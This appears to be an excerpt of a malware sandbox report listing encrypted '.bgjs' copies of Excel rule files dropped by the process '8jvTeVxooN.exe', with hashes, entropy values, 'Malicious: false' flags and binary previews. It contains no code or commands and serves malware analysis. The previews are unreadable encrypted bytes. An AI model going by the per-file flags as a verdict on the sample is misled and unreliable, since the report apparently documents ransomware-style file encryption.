SHA-512:	B2F8B3C580EC9F3DCD57EA5845057ABBC78D3AC2A767CBE4136011F1967375D62EB835A00E6CEBA68034583FEDBBD3D632B628889E78BCB8187766F86E8ECB7D
Malicious:	false
Preview:	<?xml..q..`.r...<.....f...o.1>&.Q.GI..f$N......>.%..g.f.f..~{.....-...\....H>..I.R...B...[...=.....x....6......fF.e6{..-.._.I.%...}].....I. .._.\........i.{+}#...s...nmV...F........92I.y;..3...6^..$....A.1xf.\....fU..L......H.hw...j......A.b._.2....N.ch.....+......L.Y.<...2.h......'..74^......Nd\|B.v...N.........c....................L..p......c...T.....T.:../93...\....@..=D.r..?.[1n...+..5..w..,.E...&.X.,bx.;...].K.k..SF..T.]..)..?<.6[..2......,.l.\|.w.+..S..2...V..c...'`j.Ny.G....+.F..K..J..........F....3p.&ufgf2..@vt!..<.....x...b..5`.a..z..A>M...U.S..^..S....J.....0.pg.L..;=\.Q.....v1..X[...].........)u../#....W..v+..;.+.:..P...m5.b....F..K../....FSY....T....2..e..."q.g%.Nk..C..e..g;..6.& .!..c.....f4W9JG.0?..6]W.D3....y.<...&..o@.cD..s.1}HI..1.f.4...*[...p..b.....)=.V....E.<C'...E}#0....7C.......9.L.d..=q. N@66.-.)..7.L__..Jwp529x..B#..z.........$z'....m2.Um.........M..a..(gb...I....s..mM.t..Ze.:HZ0..N.@.....e.."....."....E

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule11370v1.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1001
Entropy (8bit):	7.765894559153644
Encrypted:	false
SSDEEP:	24:2nQieAQsRcO6hxdf2uIF+F4YLL1nSNIscgsoYCKObD:2QieANcdYubFsISztD
MD5:	2D1C92AADB4B5AC6D54F65F81426E717
SHA1:	E359011392C0F2E9C961FF00273B780E1844ACC5
SHA-256:	C8A5F5BFD4AF31025CB7721A93FBAE4C3B909FCCCCF4DD354B6E5C1CBB453BCE
SHA-512:	256944E88D692B7EED21919CF5FC0D2E2DAA009B78B0719F8B54BD3A2B8A71ECDC204059E70389E85FF561443625C03D83A2C557C10EE5944462DAE39EAC9623
Malicious:	false
Preview:	<?xml.Tp.,...:6vM.....xB...0;D..[K...+.\|..Z...pp.,..1..l..sZ.T..x..&.-P..<...'u@yQ..~.,@..n.V~. ....c...b....j.G..i.kN......C.%f.Y,R.r.:b...(e..."...6...E...>....eke..U'...T.V+7....u.=0.....^}.S.!=z........z..f.'W{.R......Z{....N..Z..sxJ..FP@D...)..B(B....4.}....zE.fA.afK...u.O.4<.$.d9.&0.y..0j.=P./...B5R.....^d..1..\4..x.........2TgJ...g,.RDx+..B....{...7._.).6!i.P....$...JC.L"...s<.G....`g..x.X.%N.N.....e.H.z.zK{2`-..1.'....l.....q8]...Qw..$.e4...S..%.../.J..6.^.?<...(b.......8.j.....N...P..-k.....XY.\z.\0?....C~.q\|7..;>...4XCU..O.5X.......e.x."".......P..._.0...0......].r..Z..$$..%>.......k./Jd. .....SON.W....m..Q..\|R./..M..._....C.x..~.*%v..v..F.i.vx.[..r...H^......R.C......(.....:.4q'w!.'....N.q.G...N....(..!..W...G.L.S/8.j..t.{B...eZ.p...C......SX.sG.W8.....m..o..7.c.5.....ZS...+mF.S.d........Q.Z..r.,s,....L..Y...q..-x#.t0@.E.b.(T....).B..YK.Bpok5Z6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule11381v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	2743
Entropy (8bit):	7.921898579294032
Encrypted:	false
SSDEEP:	48:7MC0qVhrkMFeDt7zKOJ3awKKQOSQ7EMKKMfGERxuol3tne2D82qOnTfD:Z0qVNkMkhiOJ6Q7iHfGWxuol1d427L
MD5:	910DA519B2CDAB9546EE01823440BA0B
SHA1:	9A2915888F973F0A78660FD2DAE9D139BFC27D1A
SHA-256:	C2BC324FAB4FA41550DBDA48C116521953B1B53A29BEDCF170A10276B9CB077F
SHA-512:	202C67BD09C18961A2939EEB8E5174C2145B7F209A2E61FC938A5B41A8BA78B01BE36A03142B94840ED1096D3D8DDA1B406DFB74BE265A45F022E026E90683CB
Malicious:	false
Preview:	<?xml0P..eZh..bb.."..[.8.eBQ..F.H..6....g.:6-M...Z...p.3... i....V.....g...y..FIS.H...hy.........Y......;.....0....$..7W..N]x..6.x.G.%......G.(u.o..=...g..[.....~....v......7..V..jO%.......r..)}I..$...y:..ae,K...f..]........p..t.q.b...+....C.z..+..6e......0.......0.X_..VqY..V.2.~..9@.5.......n...HX3:..Z.~..H....Ka.d.V......&).Fz..Xg....F..:...."'..L..\.i}....G%.(.Vs.$....}...........=.N.bv.].z...SL..z...Xo....Sj..&@r......a=..$.g.5.Z............fH!.Mw...v.\|."h........rGG..L..X..H.\|...h.=.Zm..HG.O0.....uE<.4.u...a.y..+K....qk.....o....(.y..=.......lUb..Wr..u..7.-.sC........o.[.s..X.0. '+..R.g..j5.....&...HUv-.V.p...0.]...U... ..$..l....B..........._.J.=~...i....p..'@.$z..g.L.5@.(.-F.-B..'~#..'....HyDl0w..%......]+....o@\e..o........I..f...Y#.*...B......f.<.........Wh..8......`1.....C.. t....W........$..!.....\.Q....R)......>.>~...l0.>.B..-.;...th..zKr..M......_((....5v.;H.Q....o&.X.^.I.....A.{E.....if.......mS...#,E..gI....f.

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule11446v1.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	11063
Entropy (8bit):	7.983761771074563
Encrypted:	false
SSDEEP:	192:aGiI7uI9LiJpj/duIOUz8bGCgjsrdGZjx+HYw65MzrkncO5NyLK8SEYeIQ:axI719LepUSSGCi6dqaAUGcvW8ZB
MD5:	A1B2A20D84D89F29D2CBF758A6F7CB08
SHA1:	CD2F09746657FC6D101E29139F74B1C90EADA92C
SHA-256:	50E239E1FD74AD2088AEBE6CDFA22D4FB1C9F07EE0DAB17A6DFA8A1F1A8A773F
SHA-512:	081769890A22E483967566569BC94D9FE52E7752EA46B361BB69CF5FE82EDE5459C8F14E6BC2E09B57380082398E4F7CDE7AF5476ACB3D34A0621266EDD1E193
Malicious:	false
Preview:	<?xml.....!....O'...q.36....l...s.#..)......d......ir.6....p..*~.s.V$Wk<.........,..'..`pw..#......,K..:.}.+=....V.K.EZ..B.....r.K...x...p.,JY9X;..z......,......wz...vh.S-.....7.(A6......"'S}..Y...X.r.+.;^......D.uQ.....z.l.B...7......]..b.j..2.6.Zcl...w.A.fp...i.U.7.0....u.T.&.i.D8.... .O..B.r....4.<{...m.e.m._Dr{.\.A....J2.L..o\|..+&...^....B1"M.>>../o.hS..0..'..X8....@%.Z..P...B.O..J.....F.k...<h.[..v.a....jU.X.:QJz...,!a.......N...Z`E~._(@G[..y.q.HW...u....KDW"......Q..i.....`.....o.w.1.....U.q.(...v........c.....\.......^.Od...=...vg.t.....jl6..V.K....a.....h.q.\|.1NVI..Z...[@]....,.X..K$6.....1..xp.3..C. .RO....V..E..m...xl.e..q....?..._.d.:.4...I.GCg;,Ez.....n...rz.b.H....!.......x....v._p.;...[...@..0..Wb..=.{Zvsa(@...NN?).W..:\|;.#.....#=..>.}. }\O.30...$_..f.tC.jB.......Bd.....C.....i.0G.//. M:.)k..K.....l.Rv:b...M...Z..<...i....a.:....).%.XQ....d...!.+v=......B..>.yC..N$.ft..K:R.}.'.ms.....~....1W#.(=.a.1A..j^......T

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule11464v1.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	807
Entropy (8bit):	7.710064337062273
Encrypted:	false
SSDEEP:	24:2F3eP5AruKWtMix0ufef6by/N7fiJAObD:XxDPvxbg76zD
MD5:	E232CFE716C83F6CC3EDBE7A03D47D5D
SHA1:	A9F7E7DF15502EDB3D3AAFB9E5CA2C765793F163
SHA-256:	C634B1EF79F1626916D934DA39FFFEECFF1B7F61DA6D836E8459E06D93F75379
SHA-512:	9D26D67D63A8108DC3776003CD93E47711D014D96E7CB315726B139C3E7D2D4938D39F8071E1E0BED8295B7FFFDC15ABE0515241697C92416EBD39ABE53BF478
Malicious:	false
Preview:	<?xml.)3..._..l.a,S[.).H.f......S.3..%..~;}.rI....Kz.W.A[..Z..Z..E.@Y(.....`.h..JL...R....$.b[.ts.K.!#.>Wx..l.3=.?...sW.T.Sx.&.D_? w%.x,;._....).Z.N.a7.i...V..5}dk..(.g....=.#./....X..1..?P..M;.........:...Z....s.((.0:#j9.P..R`.m......../..W~.........;s.e@...qa..W6xub...?.tX...A...l.`%....@t..4W.r.....r...e....Y(...I...X...]2[..52j...,...=........W\.r\..YV.B..?j..!. P...=....`.2\.g................\.....6.A.8.+....C.%...=...m\|.p....w... ...1....z.W)..w[.....M..4?s...a......u.>..~/J.#........);3D...J?..7W.....5/>&.+B?s.....'...Ng..\|~6.T.F.("...Q67...:...G.u.....d!"c.......N.......+.QU......)b1..:.}.fi".4`.>.6H$.e.s.<..o"l.p[=#.-...C.@[.d...D.K.S_.t..#-Kyryu._2%m...Pk.. ..:7Hm....l......Z6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule11498v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	747
Entropy (8bit):	7.6322562424461475
Encrypted:	false
SSDEEP:	12:USrU9+31QRlFldxt+S/1kfeuQK8yhi3bZAiMrZ2c9eO0+6zgQbuOcii9a:hg9+l8l1xgQxtbMd8bTgQKObD
MD5:	F044ADF41712BC8B50FAAD82FA28B217
SHA1:	3DDEEB6731E9AA0FF4284121A475DA4E20ACCA92
SHA-256:	CFB8CA3A2B20FC52AF46C7DE6E6E7BDCBAE7DC14E88D336F9F5BEC183745F102
SHA-512:	F75660703D7D5FA43C71B45C60BCF38608BC70C8F01C41779BDF4B9DBCFC1D52D35A4FC25C38016F1274E92D0EC41995F1F7FA8D324C34A533B8CBC6C30EB20F
Malicious:	false
Preview:	<?xml@.p.y..Yd...G.&...7L../...M...................#.8L.....L......-ZO..h.d.2.3..[hf.B.-v.AE..s....Q.2MbEf.H....tY..^e..f.m.Zy.xb.\.O3O.. .OP..3..\..W............e...K.f..E. ....mUS.W6._...,m..[...p.a6.=.S.Mu.q..+......w.{V......s..X<R..K...g.....Kh.f...I.#.#...- .m.t....@Al.X.P.Bo.......h0.&<r[.x..3.\|h.u>n...F.....T...x}...I2.\\|.._..7.......p'....^.p.KZw.x...... ..qf.....'.0.umr....#..i8=...W3h...,+r..O..1....@..(.h.x.W......../..2....K..>.i..<.g...?Km....d....A.dw..1.1..kG6.B.l$\|..[D.{/\.9....o..*.T.....4..O.......Kri.:^.? &..#\|......GexO.6.R.Bv.S.......@5{d'..A.U<.g...7.}F..u\|L.~C..F........B....E...{?,1..O&..0..@k..i....Z.d.s.Z6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule11499v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1786
Entropy (8bit):	7.885135040655206
Encrypted:	false
SSDEEP:	48:z8eV3oI9wfSTJjRusf8Z4E3uUhVfa4HYv3UpBixQD:z8+b9waJjRuyWuofJHXpBixM
MD5:	F03D064FF59CE750640D0BD1906EDAC5
SHA1:	916AEE47DA93D5886D4B9FC209A340960548302B
SHA-256:	CF6FC7E7E71412AFDEC758137EC13E36EBC9F50097519DDE9F99B4598A0FBC7C
SHA-512:	9D54DB974102BF5AB615EEFA063D7BC71E6FD6E1C9AD50AAE084F3BF4F1632C4135B92E7329D2846C35969DF06A55A178FE53CEC8B553ACC9F4B9ED63B7936A5
Malicious:	false
Preview:	<?xmlb\N`c.V.:..br.P}..oL....$.....h%b.......7.....\..>..._.6./.....5c7......O@...2.....%.vL_s.}ip..3..+/.....{~.P...'s>...O.F...N.:5.m=.(.C..$.Ht>..<B.=6..>..x\r9{...}...>....w...m$7`.............j.........0Q.3..7G.....\|.o....4....4..a.-6K.....%`;.^u..t...+....`@..\|...uf............(.5.T..<..U...u.%m..@....lyfp\|..o..p..V.....Dq..8..9.EvsL......Lx.[j...P..M.o3'.Gk.rvU5O....T....RW..XK.....V.#U5.u.....YT........C....r....u..y..............9..p.....<=<...1.....P....~=`.s......G.US..d...cx.fj.7...B..wv.]]ym.....e.......l...2V...O...[.;.......\.,b.(.....D.y{....D.(..T .Fm..r.w.....j.X..F.....@...0.@....7v.......Bj..k%..Oq.d..sp.[ud..VH.\K.:.,.t..4=\@..........d3.b.<k*.hE..Vl....."..rn.=...;'..bm.wSQ....(}..u..P..F'.^.. 6[t7W.f.:..H.i...%..=...8..f..nv.<x..y..o..cd.....rt..u.h9.\|lA.]E..#r.U......7.+.X..fH..e..\$n.....s.8}su...+...x2.].s.B..l..NV.....d......ja'..^...PzD....j.....Px.v.nf.9....?.....b.R.......4...9../}J...Gw...&;.7../..

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule11500v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	886
Entropy (8bit):	7.766669338891888
Encrypted:	false
SSDEEP:	24:ZHzYPMiNolxxy1xPdHketMpnCURZ03/0C1ZaObD:aMMEExF3twC3/0k9D
MD5:	D1DAB925B86FEF8561073942231D2345
SHA1:	C3C6A5620D1FC82E047EEBCCF4440A98BB2B945E
SHA-256:	C2A41B088E7B72B0C3078EB3340FBA580E987346EF3D23E2D351C1FD0DD1ABE3
SHA-512:	2DF364B727D96765C11DC46A1AF80EE52C15794264FB4CB9F59BFA5B1F2224CAB4A52515D6FAFA69B994FC2F65586F50BF7ADCAF2C647CCF406D156C9C28A1BC
Malicious:	false
Preview:	<?xml.E.l\|...X....:......lW,XkW...H.q.xM......(pb$._..o..c....\j-.7..h.....h..1.k..........QU...~}....4............'Z.7:....L?....>.I.x..U.n..6........r..iE+h.^...#D......=.y..c.{...A.6....g.T.......<.&.M..=h.@..f..5........d..'....6.nE.../.@.y.l)...oEX.........`..)A.....w..........y4.J....w=.'S.mj...C.H.KX......_?...l......q:...@...),..y...D(&.F.u...b.V.......'y..1.)(..h....X4Q8..${..N.....?cXP.z..4.9.0........M....2,:...!....._.....].......8F.Y....zs..Z.)...{...z.c-:..<<o.`.w....x..s..>.G.,.N.M_r..T.UH.A.....V.[.=....)....?,...ef........X..,s.b.F.}...4l...d.]....1..4.`pcL.#...m..C.F.T...v.P...\|..r(...Gi...{S.".U/D..\|F.ip..!...Q*......1.........$Lq.P.....NT.I.9o..P..v[.. g...F.yO..$.L.......o$;.t...ib..U..Y....fp@..V....tv]..D........wp.=g..t.Z6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule11502v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1324
Entropy (8bit):	7.856676982153981
Encrypted:	false
SSDEEP:	24:Ejp3jXiRk++L8bRWBSKVE6ExLK1+dnaV9dyMS/dHIvGaRupvGqObD:EjxjXdL8bABSKVRExlaV/YHgZ4psD
MD5:	5C85CA5FB18FA7A3A0BBC6CC9B8A23C8
SHA1:	FF7293149AEB7BB37FF713CA8E52808DB1491482
SHA-256:	08F8808892BAE164CEA3A15CB8C28EE0B6A46C3DA81485DC2A7B08931B895D7C
SHA-512:	518C0AB506D581D299C638CDB3768CCF3766A7D5479B184A8C02109B61539B914D65701B7D159C37E3575D49BBE77C5F86BDF95EB0AD917E232B4CCA763059D3
Malicious:	false
Preview:	<?xml............L..<.$.!..<..\o..D.....p....q..{.......}.@...#olp..."...PE...Yvfh....-.......Ec.TS..p./..hR.ty.....ebU.......B....QJ.aq..C.f...\|:.k..y.....r..xMxX.5!...Fs..e. ....t....e..s...jIN..E.^nbN..o.E.GS(hw....o.(^....h..o....zdNh.e.......B.vi.W...}3=..x..r.Bw.E.x.m).hl..f.xv}K..qu...0..b..8~....J.L...S..TL..A>kF......T.i...u...ySH..c[..0..j./.3.v...y.....).M.$...g.g..F.0.GL..t3(^.c.w.ZD...km...Ze?R..<..(..Tx.b..#:dI...jS.,.j.r..`.RX`.....M-.f.K`z..^7X........a`[`....HJ&.).....g..Af..e7..5`...a..I..d......Y.%.K4Q.+!.~Y......u&s..JL........)x...x.m5..C...9$.d...g.S^4..!..-+...../.......lQ......U..J..D<pY..$EkcRN......P..l<SEX19..2\......I..tV...\.v....n.Zb.p..1....7..WT.........#>flUe...q.........(....V....vA....T.b.=X....H...#..2...o/..6.....c...1.C.'..g,.i.Q,>..-.....].".....6.....k..i-.D.g....?.%...m.Z.\.wf...(:d.6M.....\... ..n.z.B........Q....TH.o. .U.Y7...P..1B...i.._...h.6\....h...*...U.(....2..f....

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule11504v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1435
Entropy (8bit):	7.8619589866347
Encrypted:	false
SSDEEP:	24:AkCLEjhERbVGw/Y2028lXszSd4sq6KySW9rEhpysnjXpEObD:nCIjh4pY92mXLa6Ky99rkssnTpnD
MD5:	E9CEE38FC5228AE85BEB862E1C7E63F4
SHA1:	A65D390C727AF26A961562DF164E63291A804F56
SHA-256:	0690396326DD10CC9B8BBE9EBE668CED8CA8847C4C8D0BA66D901A97674E88AA
SHA-512:	2B3DD0FC1FD17B448126310313DA0D8350E9485E95924656C00BFE87F6ED531021AAE7C9D428A651EED6F7B3E1BD5874B173E3F956F8A0178F2AB87A8AA0E506
Malicious:	false
Preview:	<?xml..P..Q......D..n.k.....+3.d........g!...e.....KwK...9.k.Iq......>e.+...b/...V...'.U.<)..X.Kb7...a.'F..y...<U_..p..Et..3...M.ut.V<.8...~..C.....F-..-s.M...0#....N......Jm..4.' .b{-.....r..F.]r.Y....O.(=8...:.$...inY)2.._..g.....s.A..i...DG.AW!H...p...m.oI../0.1O#...^...HQ.g..5.......;tzR~.F4.aT,./..2..?a..v...`....ES..E..\@..r!/.+...\........N.V......].q......z..:...).(.%{H....4O$..Ax..Z..h...-.X.O;..z`... K. .k..9...4.{{.2..9..H...t......%.#2..`-.+..4.5....&.'...r.u.X...D@.........^u..n.i....}_s...V.nQ.....PL.\.=\|=N.:....j....h\.<?..r..P..8..)IU.:&a...~...}.F...$..\n..0.~...{...$...1c}=.q.(..F..x....G.......0....Q.@Q}J#@..z)..&.k.......9.+.......6.%....jlW'.C...D....Q...d.\|#%..Q..P.x...y............9......Q..:.BC..qi.....L.u-....8.`.S.{....n.C....Q._...Z.:'........./....25....j.{..VPJ(.pd.?.>..[G}.d@^f...0...r..W......3....h....2.d.....P=B.2B...s..-...._La.#h;\|>Q.j..0'G.q..y...4...j..O..\k.#....H....2"EB.`.u.Z.s{..f.(.kK . .%

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule11514v1.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	7119
Entropy (8bit):	7.973525225864782
Encrypted:	false
SSDEEP:	192:pSXQWKey3L5rV3fixOqfhzp2z78v8FbvpAMnr:pSgWK3LzFqfNU7HTpv
MD5:	9B71111EDE799132C05092327A0AE729
SHA1:	E79D676C0D8832CDCBE52E7CB952BE546A2003F1
SHA-256:	4BE9898B4DEA4D9B99EF2B05B9871E7BDA5C297D02D34BB13EE0CFBDC6E07733
SHA-512:	2C715C0200A532777768FB0F84197E678AEC1F61FA28DE12D7496C0E50BDEC30C6148E5009B89C86003CED4E7AA18D15577817B63B1C6146B3AAB03D6E956717
Malicious:	false
Preview:	<?xml..Q\|./g.......ygDk.....D.>...(.'...1.T d..$...".IT.......4....^.....j..-`.h.......8.....,....?<..s....Y[N.t....w.5_..E..RA..a..3.M.P....L;....M.g...<.;...$.9.=...i.u.)-.@...g,..t.<..6^....u$[).G..E)..Sr.:.I.,.^:.9......\.O..7m.m..5.@...U........V....#p....{S.b........Z..z..M.T~...k@j`....F.W.\|..jE.!.q.]..5h..D..!.R.3U1~...'.eK+..y..9...b.[i..{....5.A<O...\G7....c.......a-Ti.5:..h...;)..d...G..&1......p_...9H!D.C.....n.5..0........k.=..O.De..0.".]D.D<Y.b.j7.?.Dgb.[.`<w$5..g...']..u....b.-0Y.W.S./...! p.-..%.(.6...[....\|b.~..Q.;...2JT......O..o.9W.tS.UZ.....@..7.r`....y..]0..........Y,=,...i..z.).$.......P-A...F.I..,0.u....5.6.$..F.....9...%....1..`q`..I.K. '.@..w..T~.u..M.7.l$".);..Z.}+/\...R..ga.fwCkRZ....4&h@H....../Q.9Y..`..\..9>G....2.Zn..u..h....B.^5....m\|....q.C..0......g.G0..a....`...;.a...i.$)t......,+./...b...k.E.>j.....?..[........#.#3M....I..".*...qly......G[.l^.t#_.:[....3..I...X..N......"@=@Y.}6.(..A?....'Xs..{..!.g

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule11659v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	762
Entropy (8bit):	7.705652127325843
Encrypted:	false
SSDEEP:	12:k8vcFMxmD0RBH4hBFjrdxycvnLVwQMm33yT3vO0m5pyPUMTuOcii9a:9acWgBH4NjrdM0nR3yq3AiObD
MD5:	CF1FE2102A6069D0B835BEEA8CEF34EA
SHA1:	258B60BCB88636D0C9367A714141316FCCAB7029
SHA-256:	583DF1963BC790961B2F8F69B5D0F138FFE0DB02F8EBA40FC5EB72096408C138
SHA-512:	FEEA93658067424B144AAB7FDBE078BE04AA1D7A87BB2485DCD8B3BBE317E755DABB1B01DEEEC64760E81DCFD73F29CA662428E7826792A4AFA6F3DA666A191A
Malicious:	false
Preview:	<?xmlY..L..D..?.2..........y.\|\|....H..v..YR.F.@.....?b.g.R...2......!.@....f$U{X.O...HNl..0.;.f..[E..CEhT5...)>.x>."+]-..,I.!J}..T~.....\|e.....)..B1.<.?Kf.'yU..9"..W..@?.l.`..)37..!....[.3....%&.'.aG..E....@N.a.O"......A%.q.H.v\........k..s.. ./..L`..D.@..~..7#...V?.#..=6._..._.F.<...f...F~x.NT....?..B......n:_..Ym.~?.................m...0.8./$....<l...".!.`._..dX..MW.l.Z..4...nH......,Q.U........g.4w.X..K.}....../(j{j...\ME`.\.i7....i.v...sP.@.hG0@d......Q!....X.....@.X.....a\.{3...}T.h.............v..T..0!...;9...UzI"..E..1.':.$.Zjwl..Sj.....<l..uTg.. ..w.y.....Q).i8r....4c.Z..I/.9X.Y..R..Y..E...0.......+.....W1..U....M.._2B."Tl4.T....p1Z6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule11701v1.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1463
Entropy (8bit):	7.836680666347745
Encrypted:	false
SSDEEP:	24:/2DxB7sZoE01dBDRwuV3QUTZW7gFALmCflNAfVCYR0NPcy/P5crytgUW2CpXwSnu:cxqMdBiu5QhOALm8AfVCOy35NtgUW2EA
MD5:	18B553738B78B72AB1EEB23EEEC3733E
SHA1:	7CCAC8A8AE43D9C4E1410B279F267DC96250F62F
SHA-256:	B72F6D1EBF9C0541C010D10BC0CC8AC7FAF2B131EA3F6F25AA52CEE623E68FDD
SHA-512:	694725A2378557C9C733237A24495E7165339C93456A41C0A154E90D7FB5121C6DA30951B39491BE0AE79845F61E039A4466673757CB5747F1B0620E2E5BF753
Malicious:	false
Preview:	<?xml'.+..\|...U!...W@.eK.{...W.{..5..-..4....#..i.....h~.uX..]...{.......#N)Mi.c=.2..A_.9..8 .E?=..@(..).........Y.......'n57Fog.0..9.....OUx0... j.D.f..<5F..:.T.MV..b..".....=v2.....:.uW?..z.Z...D..c..9\|2FGT[..,.\|>..W.Hpp....8...o..h.@.WK.....[~.J..........F...<.@.M...f.....h....<t....{....Uv.gc......[j3,s.:.."Y..c....>..v.0..z(Xd7.G.`C.;..A....G.j....jW..9;5`...:]2/..5..8.G...........t..k..!]........e.!1..7.z.\u...HW.....>...v.-lP.wwt.ygF....}.........^YU...P..bAb....M3..x../L.#..U..rS..B5.\.DH..r..J...`......6. E..W..W.. .-............YSs..S".t..5aCS#.D.O..[..;.l~.c...!..vZ)..E...F ...-v.P. X.M..U.4..,."...F......V.Hew..O...6.e...Ts<\.?...`[2\...t/{..9HE...`....k...k.`.mG....-./..6..F.uG..HJ...s.Py...Z.B.=.84.........T...........~.u>...tjJ......w<.If.,Z...k...xG....54J..N.a.v.X..p.t[m.P........Z...'....=.rz.<..]v..ce..d..J....x5..#.....s.qZC"ihB&...=c..!.Y..6LG_nd....Y..U.{.U....`.S..t{y..M5...\|5d....<. ..Sk+..(.....$.X..#..,d,.v.@..P....

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule11705v1.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	3505
Entropy (8bit):	7.938274659189422
Encrypted:	false
SSDEEP:	48:HBZqM3vDRYhG9RMH6ZKG/lvYS7vShJRUL4UV7WyzGaXhv8SdTxgTDjjfxz6D:HKGNSG940KG/lvH6/RULp7J/dTxe5m
MD5:	09E7F1103FBF09F1A7DDA3986947F83B
SHA1:	6EFC89D8A988AEE19F3E281967A88BB2787DD986
SHA-256:	443940F2BB2CF31A6CE4A863116C11DF0B5AE862E31AB95F3261F65E6EC02E26
SHA-512:	A08D9CEF1C7D5C51D9D229BD7D2E56F3A11FF828D8923FDE0CDBA8157D63867CC37D7FD0CC3BE5FB0C4C2BE91935F4A612A5BD096395CF3C817F42A658C54C0B
Malicious:	false
Preview:	<?xmltL}.....!o.4..`x.f.o'?..?d.....G..+.O.pC...{H...k.....&....W..#u..~.."X.O.;zNK~{........R....R...6...>5..\.0}.%....._..2.......n[.m.6... \Wc.....q..?....#k.u}Fm..V....;C.].9.J........}....2..bH....Y.....<r.~.9.e:'Eb=....w.o...#..Y......g.kpy..c&..~..0M..1..]KA..W..z.jl.s1.U.}....C..O..E...s.AR#.g.m..#..!...R.EZ.4.....K...]..{2<V...a/......3.h...r.d.i.OW).V.B.o}(7H...^)...>}D.OeH.f.n`..1._.`.CO..o.kO.\|cEw`..z=..WNW..(...i.z..) e...Az.^....d."m_.L.{n......Y...5..)R..?of{z......C3..V=..`..Y%.O#.MvwQ..E...Ig...J.].k..V......j......P5.....?..:..^iv~....N.RV.^...(..\|Q..".....a.?.tGw.\>..Y....w/..E....0+u.K$...y\|..A...^JS..8...H.d.\..3.o..3.D..y.!lK..].n\9..;.....:D..vW.Z.O6y..j.0hj....P.jf.;.J...M....fWM..N,D.j....7{.*}...Mb.0.a...`\|...S..+.....rx.).v.o...M..)g..So..[...C....x...a.-...Y.k:...Jr.&...G......a9.2!...P.:/.0lI[..=E.i/.2X.......~.c..?.U...%.....V}.!...s`Jz./.2=$.;....p. 5.+..tD.#.)j^.......-..x..ojkd.+.o..qV.....^...

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule11710v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	965
Entropy (8bit):	7.808841544507332
Encrypted:	false
SSDEEP:	24:eQD9HZkpD6cF35A/+5QCcqzgvhILmjLeP/VxXF24IS4oObD:1DVZOD64ekQvq0SLmnubFbWD
MD5:	790C0E87466C8D5E9B7D578D8BF0E0E1
SHA1:	9EC14FD0F0A3DF35D46D16DCCFE15E5A6A5ADD20
SHA-256:	1085FFC8EE40851F7BE91234CF3A768AC2B2662C66A13D4B49EE8034B6204339
SHA-512:	B8BB990EC1327775BF3DE2C174A0D9B80DB17723A2BB884BE74319987E2B9C99DA6A73B9A4CEC856988251105516FE8898EFB63C796C62AE28AE825FCBC3C306
Malicious:	false
